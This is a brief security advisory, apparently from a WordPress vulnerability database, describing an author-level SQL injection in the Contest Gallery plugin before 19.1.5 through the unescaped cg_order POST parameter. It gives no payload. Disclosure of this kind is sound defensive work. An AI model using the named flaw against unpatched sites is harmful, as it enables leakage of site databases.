WordPress Plugin Vulnerabilities
Contest Gallery < 19.1.5 - Author+ SQL Injection
Description
The plugins do not escape the cg_order POST parameter before concatenating it to an SQL query in order-custom-fields-with-and-without-search.php. This may allow malicious users with at least author privilege to leak sensitive information from the site's database.
